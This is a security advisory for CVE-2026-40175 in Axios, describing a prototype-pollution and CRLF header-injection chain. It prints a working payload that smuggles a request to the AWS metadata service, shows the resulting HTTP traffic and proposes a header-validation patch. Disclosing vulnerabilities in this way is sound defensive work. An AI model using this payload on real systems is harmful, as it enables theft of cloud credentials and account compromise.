CVE-2026-40175
ADVISORY - githubSummary
Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain
Summary
The Axios library is vulnerable to a specific "Gadget" attack chain that allows Prototype Pollution in any third-party dependency to be escalated into Remote Code Execution (RCE) or Full Cloud Compromise (via AWS IMDSv2 bypass).
While Axios patches exist for preventing check pollution, the library remains vulnerable to being used as a gadget when pollution occurs elsewhere. This is due to a lack of HTTP Header Sanitization (CWE-113) combined with default SSRF capabilities.
Severity: Critical (CVSS 9.9)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)
Usage of "Helper" Vulnerabilities
This vulnerability is unique because it requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, ini, body-parser), Axios will automatically pick up the polluted properties during its config merge.
Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property becomes a Request Smuggling payload.
Proof of Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:
Object.prototype['x-amz-target'] = "dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore";
2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request:
// This looks safe to the developer
await axios.get('https://analytics.internal/pings');
3. The Execution
Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.
Resulting HTTP traffic:
GET /pings HTTP/1.1
Host: analytics.internal
x-amz-target: dummy
PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600
GET /ignore HTTP/1.1
...
4. The Impact (IMDSv2 Bypass)
The "Smuggled" second request is a valid PUT request to the AWS Metadata Service. It includes the required X-aws-ec2-metadata-token-ttl-seconds header (which a normal SSRF cannot send).
The Metadata Service returns a session token, allowing the attacker to steal IAM credentials and compromise the cloud account.
Impact Analysis
- Security Control Bypass: Defeats AWS IMDSv2 (Session Tokens).
- Authentication Bypass: Can inject headers (
Cookie,Authorization) to pivot into internal administrative panels. - Cache Poisoning: Can inject
Hostheaders to poison shared caches.
Recommended Fix
Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.
Patch Suggestion:
// In lib/adapters/http.js
utils.forEach(requestHeaders, function setRequestHeader(val, key) {
if (/[\r\n]/.test(val)) {
throw new Error('Security: Header value contains invalid characters');
}
// ... proceed to set header
});
References
- OWASP: CRLF Injection (CWE-113)
This report was generated as part of a security audit of the Axios library.
Common Weakness Enumeration (CWE)
GitHub
CVSS SCORE
10critical| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| axios | npm | - | - | <1.15.0 | 1.15.0 |
CVSS:3 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
The vulnerable system can be exploited without interaction from any user.
An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any or all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component.